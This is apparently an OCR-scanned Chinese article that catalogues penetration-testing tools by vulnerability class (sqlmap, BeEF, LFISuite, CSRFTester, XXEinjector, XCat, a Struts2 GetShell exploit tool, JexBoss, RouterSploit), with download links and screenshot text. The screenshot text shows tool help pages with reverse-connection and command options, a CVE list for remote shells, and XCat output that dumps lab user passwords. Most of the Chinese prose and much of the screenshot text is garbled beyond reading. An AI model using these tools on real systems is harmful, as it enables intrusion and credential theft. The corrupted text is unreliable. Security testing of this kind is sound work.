HfE , BIFRIFMARRERFIBIRE®MES TR | NZeR T AEFIE ? Ase MG EAIEERRLRIRIREd
EANTERIFFIE,

BB RBABEXE—NER  MR—MEERE | iLREE—RE ZEAXMREATIRMES  (ReBAEE?
TH  BROSE—THOENEE , #FNFRBAANRRFIRMEES , WESAR—Ei5.

1. SQLiENIRR

HEFIEM - RERTER , AR  SEREREE.
% python sglmap.py -u "http://debiandev/sqlmap/mysgl/get_int.php7id=1" --batch

{1.3.4.44#dev}

lmap.

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent i
s illegal. It is the end user's responsibility to obey all applicable local, state and fed
eral laws. Developers assume no liability and are not responsible for any misuse or damage
caused by this program

starting @ 10:44:53 /2019-04-38/
5 ] testing connection to the target URL

] heuristics detected web page charset 'ascii’

1 checking if the target is protected by some kind of WAF/IPS

] testing if the target URL content is stable

1 target URL content is stable

] testing if GET parameter 'id® is dynamic

[ 1 GET parameter 'id' appears to be dynamic

[INFD] heuristic (basic) test shows that GET parameter 'id' might be injectable
DBMS: 'MySQL')

4]
1
1
1
1
1
1
51
e

{pn551hl

2. XSS
WEFINE : beef
TaE ML : https://beefproject.com/

HEFIEE - B IERXTNE AR BEAUAESR.



http://sqlmap.org/
https://beefproject.com/

Hookied Browsers
o || Online Browsars
4910.211.55.10 Detalls Logs Commands Rider AssHays Ipec

Getting Started Logs Current Brows:

@K 910211552 Module Tree Module Results History
{:ﬁﬂu’lﬁ Ernws.am et Pl
| Debug (8) K] dste =
4 '] Exploits (57)

"1 BaEF_bind (2)

| Cameara [3)
Local Hest (10)
MA&AS (2)
Raauter (15)

| Swich (1)

| XS5 (4)
Apache Cookie Disclosure
ColddFusion Direclory Traver:
EXTRAne Collabormtion Ted
GlassFish WAR Upload XSF
GmwShall Senrnr I:cmm.n-

3. XHaEFERE
HEFZINE : LFISuite , TRE#BAE : https://github.com/D35m0nd142/LFISuite

RS | — B TR |, SEBERSMARIRE ARSI A4S TR,

loiter and

: 11/

4, CSRF
HEFZINE : CSRFTester , TEME : https://wiki.owasp.org/index.php/File:CSRFTester-1.0.zip

HEFIEE | —FXCSREBIRATUIA TR , EMBMPoctaiES—F.



https://github.com/D35m0nd142/LFISuite
https://wiki.owasp.org/index.php/File:CSRFTester-1.0.zip

|£] OWASP CSRFTester - m| ®

File Options
OWASF CORF T ester Clear Al | start Recording
Step | Method URL | Parameters | Pause
|| |
GET | |
Query Parameters Form Parameters

Include Regex: | * || Reset
Exclude Regex: |.*1L(gif|_i palpng|csslicoljs|axd\? *|ica)d | Reset
Report Type: @ Forms 0 iFrame ) IMG C XHR O Link Display in Browser Generate HTML

Proscy started on port B00E

5. XXE(JMEREENTIR)
HEFINE : XXEinjector , TREMEE : https://github.com/enjoiz/XXEinjector

HEFER | ERERNAREINTEZE MM AXXERRIN IR,



https://github.com/enjoiz/XXEinjector

root@kali:~/Desktop/XXEinjector# ruby XXEinjector.rb
XXEinjector by Jakub Pataczynski

¥XEinjector automates retrieving files using direct and out of band methods. Dire
ctory listing only works in Java applications. Bruteforcing method needs to be us

ed for other applications.

Options:

--host Mandatory - our IP address for reverse connections. (--host=192.1
68.0.2)

--file Mandatory - file containing wvalid HTTP request with xml. You can
also mark with "XXEIMJECT" a point where DTD should be injected. (--file=/tmp/req
txt)

--path Mandatory if enumerating directories - Path to enumerate. (--path
=/etc)

--brute Mandatory if bruteforcing files - File with paths to bruteforce.
(--brute=/tmp/brute.txt)

--logger Log results only. Do not send requests. HTTP logger looks for "p"

parameter with results.

--rhost Remote host's IP address or domain name. Use this argument only T
or requests without Host header. (--rhost=192.168.0.3)

--rport Remote host's TCP port. Use this argument only for requests witho

ut Host header and for non-default values. (--rport=8080)

6, XpathifA

HEFFINA : XCat , TRRMBHE : https://github.com/orf/xcat

HEFER - — ST IE |, JLFIBMMENXPathE iR,


https://github.com/orf/xcat

tsxcat—masterdpun_xcat.py —method=GET —public—ip="122.168.91.139" http:---192
168.71 .13%2.xml example? . php name=hacker name "Hello hacker' »un retrieve
Injecting wsing String ['1]
Detecting features...
Liztening on @
Liztening on 2385
Ctopping server
Fupported features: Substring seawrch speedup
etrieving ~=[11
?xml version=""1.8" encoding="utf-8"'"7?>
dataX
fusers>
Luser
<name >
hacker
<sname >

<{message >
Hello hacker
L/message >
Lpassword>
pentesterlab
Lopassword>

LAuser>
fuzeprr
<name >
admin
</name >
‘message >
Hello admin
C/MESSAgE >
Lpassword?>
sicritP4sswird

7. StrutsiwiRFIME
HEFFINE : K8 Struts2 Exploit

R - Struts2iRSiREAATIER , 83EER  fUTm<. XHLEE, &N, XHEEFIEE.



Bl K8 Struts2 Exp 20170310

e 8iF: |

e Dg%m & Cockie:|

® BA: Oezote sz037 O 2016 s2-032 (O 2016 deviode (O 2013 52-019 (O 2013 52016
(@) 2017 52-045

BIREE ihiTed SELE 0D XHEE 0
US| REER| | B

(2013 s2-013 () 2011 se—008 () 2010 Se—00

8 StrutsefSSTREFIATHE (Apache Struts Remote Code Execution Exploit)
{ESIEE: http: /Fqqhacks bloz 165 com KSSJE] S ELOG
FHE: TR e asisE T, FEREERAR.

[+1EiS R EM S %S (RRseaTisdtig R T InE LRI & #BiaE)
[+]10 52045 CVE-2017-5638  SEifcetShell EENHMREEIE AN TOMDA <
[+]9 devMode CVE—omxm—cmer  Shi5GetShell SRRIHMERE {3 A0 fTOMDG &
[+]8 52037 CVE-2016-4438  HicetShell FENHMERRIZ AN TN
[+]7 sz-03z CVE-2016-3051  EiEcetShell EENPMERREIE AN ITOMDM S
[+]6 sSz2—020 CVE-2014-0094  Hifcetshell (HeESRE EXFERTFI Y1)
[+]6 sSe-019 CVE-2013-4316  HGetShell ARRUEMIEREIE AN{TOMDG S
[+]4 52016 CVE-2013-2251  hifGetShell SERIHMEREE AN fTOMDG
[+]3 52013 CVE-2013-1966  FHicetShell FEENHMIERRIZ AN fTOMDE <
[+]z sz-0o09 CVE-2011-3923  SEifcetShell SEENPMERREIE AN ITOMDM S

8. JbossiEilE
¥EFZINE : JexBoss , TUEHIL : https://github.com/joaomatosf/jexboss

HEFIEA | JEFEN) bossHRIBEFES N REIRIA.



https://github.com/joaomatosf/jexboss

root@kali:~/Desktop/jexboss# python jexboss.py -h

usage: JexBoss [-h] [--version] [--auto-exploit] [--disable-check-updates]
[-mode {standalone,auto-scan,file-scan}] [--app-unserialize]
[--servliet-unserialize] [--jboss] [--jenkins] [--struts2]
[--Jmxtomcat] [--proxy PROXY] [--proxy-cred LOGINM:PASS]
[--]jboss-login LOGIN:PASS] [--timeout TIMEOUT]
[--cookies NAME=VALUE] [--reverse-host RHOST:RPORT] [--cmd CMD]
[--dns URL] [--windows] [--post-parameter PARAMETER]
[--show-payload]
[--gadget {commons-collections3.1l,commons-collections4.0, jdk7u2l, j
dk8u28,groovyl,dns}]
[--1oad-gadget FILENAME] [--force] [-host HOST]
[-network NETWORK] [-ports PORTS] [-results FILENAME]
[-Tile FILEMAME HOSTS] [-out FILEMAME RESULTS]

# --- JexBoss: Jboss verify and EXploitation Tool --- #
| And others Java Deserialization Vulnerabilities |
| |
| @author: Jodo Filho Mates Figueiredo

| @contact: joaomatosf@gmail.com

| |
| @updates: https://github.com/joaomatosf/jexboss |
# #
@version: 1.2.4

Examples: [for more options, type python jexboss.py -hl

9. IRHEEREIR
¥EFFINE : RouterSploit TRE#ELLE : https://github.com/threat9/routersploit

HFER  —SREBEIRANRENREMNELR , 887271 REN EEMRREABER , PRAKHERE. BE&
IFRER/LEM.

root@kali:~/Desktop/routersploit# python3 rsf.py

| A | A || ()|
I P N P W || I
| /7 \Illl_f_\'_l‘-- NN N
A ||_||I_IIEK_III_IIII_IIII_
A N Y A Y B W T I R N 4 Y A B A A I A
||
Exploitation Framework for | | by Threat9
Embedded Devices
Codename : I Knew You Were Trouble
Version 1 3.4.1
Homepage : https://www.threat9.com - @threatnine

Join Slack : https://www.threat9.com/slack
Join Threat9 Beta Program - https://www.threat9.com

Exploits: 132 Scanners: 4 Creds: 171 Generic: 4 Payloads: 32 Encoders: 6

—
=

5 =

ERFERES  MEBRZ RN TIERED , BIMISRBE TR RS —(IR2FRENTILEH.

mm|


https://github.com/threat9/routersploit

MNEBRSEFMEBRITARRS L, NSRRI RE _EERE— T, FEIREEGHEIE.




